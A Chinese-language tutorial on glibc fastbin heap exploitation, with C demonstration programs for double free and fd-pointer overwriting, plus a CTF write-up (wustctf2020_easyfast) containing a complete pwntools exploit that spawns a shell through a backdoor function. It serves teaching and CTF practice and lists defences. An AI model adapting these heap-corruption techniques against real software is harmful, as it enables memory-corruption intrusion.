Fastbin Attack 深入分析与利用技术

1. Fastbin Attack 简介

Fastbin Attack 是一种基于 glibc 堆管理器中 fastbin 机制的漏洞利用方法，主要利用堆溢出、use-after-free 等漏洞来控制 fastbin 链表中的 chunk，进而实现任意地址分配或类型混淆等攻击效果。

1.1 前提条件

• 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
• 漏洞发生于 fastbin 类型的 chunk 中

1.2 分类

1. Fastbin Double Free：通过多次释放同一个 chunk 来操纵 fastbin 链表
2. House of Spirit：通过释放伪造的 chunk 来操纵 fastbin 链表
3. Alloc to Stack：通过修改 fd 指针将 chunk 分配到栈上
4. Arbitrary Alloc：通过修改 fd 指针将 chunk 分配到任意地址

前两种侧重于利用 free 函数释放真的或伪造的 chunk，后两种侧重于直接修改 fd 指针实现任意地址分配。

2. 原理分析

2.1 Fastbin 管理机制特点

1. 使用单链表维护释放的堆块
2. 被释放的 chunk 的 next_chunk 的 prev_inuse 位不会被清空（P 位保持为 1）
3. free 时仅验证链表头部的块，不验证链表后面的块

2.2 示例代码分析

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    void *chunk1, *chunk2, *chunk3;
    chunk1 = malloc(0x10);
    chunk2 = malloc(0x10);
    chunk3 = malloc(0x10);
    
    free(chunk1);
    free(chunk2);
    free(chunk1);
    
    return 0;
}

编译命令：gcc -g name.c -o name

调试观察：

• 申请 0x10 大小的堆块，实际大小为 0x21（包含 chunk 头 0x10 和 in_use 位）
• 释放后 prev_inuse 位（P 位）仍然为 1

3. Fastbin Double Free 技术详解

3.1 基本概念

Fastbin Double Free 是指同一个 chunk 可以被多次释放，导致 fastbin 链表中存在重复的 chunk。这使得可以从链表中多次分配同一个堆块，造成多个指针指向同一内存区域，实现类型混淆效果。

3.2 利用原理

1. fastbin 释放时不检查链表后面的块
2. 可以构造循环链表结构
3. 通过修改 fd 指针控制后续分配位置

3.3 示例代码

#include <stdio.h>
#include <stdlib.h>

typedef struct _chunk {
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK, *PCHUNK;

CHUNK bss_chunk;

int main(void) {
    void *chunk1, *chunk2, *chunk3;
    void *chunk_a, *chunk_b;
    
    bss_chunk.size = 0x21;
    
    chunk1 = malloc(0x10);
    chunk2 = malloc(0x10);
    
    free(chunk1);
    free(chunk2);
    free(chunk1);
    
    chunk_a = malloc(0x10);
    *(long long *)chunk_a = &bss_chunk;
    
    malloc(0x10);
    malloc(0x10);
    chunk_b = malloc(0x10);
    
    printf("%p", chunk_b);
    return 0;
}

操作流程：

1. 申请 chunk1 和 chunk2
2. 按顺序 free(chunk1), free(chunk2), free(chunk1)，形成链表：chunk1 → chunk2 → chunk1
3. 重新申请 chunk1 并修改其 fd 指针指向 bss_chunk
4. 此时 bins 中的 fastbin 链表变为：chunk1 → bss_chunk
5. 后续分配即可获得 bss_chunk 的控制权

4. 实战案例：wustctf2020_easyfast

4.1 程序分析

主要函数：

1. main()：提供菜单选择功能
2. sub_400916() (add)：申请堆块，最多4个，大小限制120字节
3. sub_4009D7() (delete)：释放堆块，存在UAF漏洞
4. sub_400A4D() (edit)：编辑堆块内容
5. sub_400896() (backdoor)：当 qword_602090 为0时执行system("/bin/sh")

漏洞点：

• delete 操作后未清空指针，导致UAF
• 可以通过 double free 操纵 fastbin 链表

4.2 利用思路

1. 通过UAF漏洞构造fastbin链表
2. 修改fd指针指向目标地址（qword_602090-0x10）
3. 分配伪造的chunk并修改目标值
4. 触发backdoor获取shell

4.3 Exploit代码

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')

def duan():
    gdb.attach(io)
    pause()

def add(size):
    io.recvuntil(b'choice>\n')
    io.sendline(b'1')
    io.recvuntil(b'size>\n')
    io.sendline(str(size))

def delete(index):
    io.recvuntil(b'choice>\n')
    io.sendline(b'2')
    io.recvuntil(b'index>\n')
    io.sendline(str(index))

def edit(index, content):
    io.recvuntil(b'choice>\n')
    io.sendline(b'3')
    io.recvuntil(b'index>\n')
    io.sendline(str(index))
    io.send(content)

def backdoor():
    io.recvuntil(b'choice>\n')
    io.sendline(b'4')

# 利用过程
add(0x40)       # chunk0
add(0x20)       # chunk1
delete(0)       # free chunk0
edit(0, p64(0x602080))  # 修改fd指向目标地址
add(0x40)       # 重新分配chunk0
add(0x40)       # 分配伪造的chunk
edit(3, p64(0)) # 修改目标值为0
backdoor()      # 触发shell

io.interactive()

5. 防御措施

1. Double Free检测：现代glibc版本已加入对double free的检测
2. 安全指针操作：释放后及时清空指针
3. 堆完整性检查：在关键操作前检查堆结构
4. 使用安全的内存分配器：如HardenedMalloc等

6. 总结

Fastbin Attack 是一种利用 glibc 堆管理器中 fastbin 机制缺陷的攻击技术，通过操纵 fastbin 链表可以实现任意地址分配或类型混淆。理解其原理对于二进制安全研究和漏洞防御具有重要意义。在实际应用中，需要结合具体漏洞场景灵活运用各种技术变种。